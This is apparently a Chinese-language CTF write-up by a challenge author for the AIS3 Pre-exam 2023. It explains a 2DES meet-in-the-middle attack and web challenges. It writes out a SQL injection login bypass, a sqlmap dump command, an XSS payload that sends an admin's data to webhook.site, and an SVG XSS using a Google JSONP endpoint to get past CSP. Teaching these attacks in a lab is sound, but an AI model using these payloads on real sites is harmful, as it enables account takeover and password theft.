AIS3 Pre-exam 2023 Write-up
我出的題目
Crypto
2DES
- 解題人數
- MyFirstCTF: 1 / 111 (score >= 100)
- Pre-exam: 21 / 256 (score >= 100)
這題考的 Meet-in-the-Middle attack,相信直接搜尋 2DES
就可以知道解題方向。為了怕題目太無聊,所以還加入了需要知道 DES 的一些性質的考點(不知道這個還是解的了)。
題目
首先題目會隨機生成 key1
key2
,其中每個 byte 的前 4 個 bits 都被固定成 1
。
1 | // Generate key and IV |
接著會把用 key1
key2
加密兩層後的 FLAG
以及 hint_pt
印出來,要透過 res
hint_pt
hint
iv
想辦法解出 FLAG
。
1 | res = encrypt(encrypt(FLAG, key1, iv), key2, iv) |
題解
只要取得 key1
key2
就可直接解出 FLAG
,直接列舉 key1
key2
的話會有
Meet-in-the-Middle
這邊可以利用 meet-in-the-middle attack 幫我們把時間複雜度開個根號,具體如下。
首先要先知道 encrypt(hint_pt, key1, iv)
與 decrypt(hint, key2, iv)
會是相等的 –(1)。
利用這個特性,我們先列舉出所有可能的 middle=encrypt(hint_pt, key1, iv)
(透過列舉 key1
來達成),需花費
接著來列舉 decrypt(hint, key2, iv)
,由於(1),所以當 key2
是正確的時候,一定可以在 middle 裡面找到 decrypt(hint, key2, iv)
,所以那個 middle 所對應到的 key1
key2
就很可能是正確的,這步驟最多需列舉 key2
,每次找尋 middle
若使用的是 Javascript 的 map 或 Python 的 dict 所花的時間在一般情況下會是
所以所需花的時間從原本的
不過還有一個問題:存
DES Key Transformation
DES 在拿到 64 bits 的 key 的時候,會把一些東西丟掉變成 56 bits 的 key,所以實際上需要列舉的 key1
key2
其實可以更少。
DES 的 64 bits 的 key 中,第 8, 16, 24, 32, 40, 48, 56, 64 個 bit 是會被丟掉的,不會影響到加解密,所以需列舉的 key1
key2
其實各只有
提供我的 Javascript 及 Python 解,都可在 200 秒內於我的電腦上跑出結果,Javascript 比較快。
這題也有人不透過 DES Key Transformation 的特性來解:既然存
Web
Login Panel
- 解題人數
- MyFirstCTF: 24 / 111 (score >= 100)
- Pre-exam: 139 / 256 (score >= 100)
這題是 web 的 welcome 題,是來送大家分數的。進來會看到 CTF 很常出現的 login panel。
這題比賽時有提供 source code 所以大家可以不用通靈題目有什麼洞,直接來看看登入部分的 code 。
看到下方的第 3 行,使用者提供的 username
跟 password
直接被放進 SQL 的語句內,所以有明顯的 SQL injection 漏洞。
需要注意的一點是第 6 行還會檢查使用者提供的 username
要跟 SQL query 出來的 row.username
相等才能成功登入。知道這些就可以來想辦法登入了。
1 | app.post('/login', recaptcha.middleware.verify, (req, res) => { |
我們只需要將 username
設成 admin
,password
設成 ' or ''='
SQL 語句就會變成下面這樣。所有在 Users
裡面的 row 都符合這個條件,加上使用的是 db.get
所以會回傳符合條件的第一個欄位,也就是 admin
的那個 row。
這個 payload 也可以通過第 6 行的檢查,所以就能成功登進去 admin
的帳戶了。有人一直繞不過第 6 行的檢查還被做成梗圖。
1 | SELECT * FROM Users WHERE username = 'admin' AND password = '' or ''='' |
進去後會看到 2FA 頁面,我們先來檢查他的 2FA 功能有沒有洞,因為 source 裡面有說 flag 在 /dashboard
裡面,直接來看 dashboard 的 code 。
看到下方 /dashboard
的部分,他根本沒去驗 2FA 認證有沒有通過,只有看 req.session.username
,而 req.session.username
在成功登入的時候就已被設成 admin
了,所以登入到 2FA 頁面後直接訪問 /dashboard
就可以看到 flag 了。
1 | app.get('/dashboard', (req, res) => { |
然後這題雖然有裝 reCAPTCHA 但其實沒有裝好,所以可以直接用 sqlmap 把資料庫直接 dump 出來,只是有些地方要按對才挖的出來。
1 | sqlmap http://url/login --data "username=admin*&password=p" --level 5 --risk 3 --dump |
執行上面這個的時候,會被問到下面這類問題,這邊要按 n
,因為有些時候會把 sqlmap 導到 Youtube 造成 sqlmap 會有錯誤的判斷。
1 | got a 302 redirect to 'http://xxx/'. Do you want to follow? [Y/n] |
把資料庫 dump 出來後就直接拿去正常登入就好了。
1 | Parameter: #1* ((custom) POST) |
這題最初是想做成只能用 boolean-based blind 挖資料庫,讓大家繞 reCAPTCHA 才能解的,不過我沒去擋 row.password
所以可以用簡單的方法解出。
E-portfolio baby
- 解題人數
- MyFirstCTF: 0 / 111 (score >= 100)
- Pre-exam: 35 / 256 (score >= 100)
題目 註冊 / 登入 後會來到 Edit Portfolio
的頁面,像下面這樣。
按下 Share 後可以看到輸入的 portfolio 的 HTML 被 render 出來了。而這個頁面正是按下 Share your portfolio with admin 後,admin 會拜訪的頁面,要透過這個頁面的 XSS 偷走 admin 的密碼。
source code 裡,也就是下面的第 7 行用了 innerHTML
,而 data.data.about
也是我們可完全控制的,所以表示我們能 XSS。
1 | <script nonce="<%= it.nonce %>"> |
有 XSS 後還需要找到能偷 密碼 的地方,剛好 /api/portfolio
可以拿到使用者的密碼,因為他用了 SELECT *
,這個送密碼到前端是 Copilot 寫的洞,如果我沒注意到這題就會變成超級水題。
1 | app.get("/api/portfolio", (req, res) => { |
這裡我們使用下方的 code 設成我們的 portfolio 來觸發 XSS,注意因為這個 XSS 的點是 innerHTML
,所以直接插入 <script>
是不會被執行的,這裡有說明為什麼不行 https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML#security_considerations。
下面的 script 做的是就是把使用者的資料送到 webhook.site,儲存後按下 Share your portfolio with admin,admin 拜訪後他的資料就會被送來我們這邊,flag 就在裡面,結果在下面那張圖片裡。也有另一種送資料的方式:把資料設成自己的 portfolio。
1 | <img src=x onerror=" |
另外看到有一些人選擇偷 cookie,但 connect.sid
是設成了 http only,所以 Javascript 在一般情況下是拿不到這個跟登入狀態有關的 cookie 的。
另外在 MyFirstCTF 結束後我有上台分享大家都在 portfolio 裡面放了什麼,那份簡報在這裡。
另外這題 admin 的使用者名稱不叫作 admin,所以會看到有人會把 admin 註冊起來然後放假的 flag,很多人中計。
E-portfolio
- 解題人數
- Pre-exam: 2 / 256 (score >= 100)
其實原本沒有 E-Portfolio baby 這題,是 MyFirstCTF 題不夠才把 E-portfolio 簡化成新的一題。
這題跟 E-Portfolio baby 的差別只有多了 CSP 跟 DOMPurify 的防護而已。
前一題的所有 innerHTML
的地方 都被加上了 DOMPurify.sanitize
,所以這些地方就很難 XSS 了,不過我們還有可以上傳圖片的地方,可以試試 SVG XSS。
1 | <script nonce="<%= it.nonce %>"> |
使用者上傳圖片之後會被 host 到 /avatars/<MD5 hash>.<ext>
,所以確實可以 SVG XSS。
要 XSS 之前我們還需要 bypass CSP 。把網站設置的 CSP 拿到 CSP Evaluator 看看有哪些地方可以用來 XSS,發現 'script-src'
有 https://*.google.com
可以利用。
可以使用下面這個 endpoint,把 XSS payload 放到 ?callback
裡就能用了,那個網址的回應如下二所示,可看到我們的 fetch('/api/portfolio');
被放進回應裡,而且是個可正常執行的 Javascript。
1 | https://accounts.google.com/o/oauth2/revoke?callback=fetch(%27/api/portfolio%27); |
1 | // API callback |
所以解題步驟如下:
- 把下面這個 SVG 設成自己的 avatar,他做的事情就是把使用者密碼存到自己的 portfolio 裡面。
1 | <svg xmlns="http://www.w3.org/2000/svg"> |
把剛上傳好的
/avatars/<MD5 hash>.svg
網址記下來,如果直接拜訪/avatars/<MD5 hash>.svg
可以確認 XSS 確實被觸發。所以要把
/avatars/<MD5 hash>.svg
送給 admin,需要蓋過原本 Share your portfolio with admin 的網址 ,其實只需把onReport
蓋成送我們的/avatars/<MD5 hash>.svg
的網址,像下面這樣。(之所以是蓋onReport
的原因是因為 reCAPTCHA 的配置 關係)。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18function onReport(token) {
const url = new URL(`/avatars/8209116d30ade81ae5c2793d3d8ed4cf.svg`, location)
fetch('/api/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ url: url.href, 'g-recaptcha-response': token }),
})
.then(res => res.json())
.then(data => {
if (data.success)
alert('Request sent!')
else
alert(data.message)
grecaptcha.reset();
})
}登入我們剛剛用來收資料的帳戶可以看到 portfolio 已經被設成 flag 了。
- Title: AIS3 Pre-exam 2023 Write-up
- Author: Ching367436
- Created at : 2023-06-06 15:44:47
- Link: https://blog.ching367436.me/ais3-pre-exam-2023-write-up/
- License: This work is licensed under CC BY-NC-SA 4.0.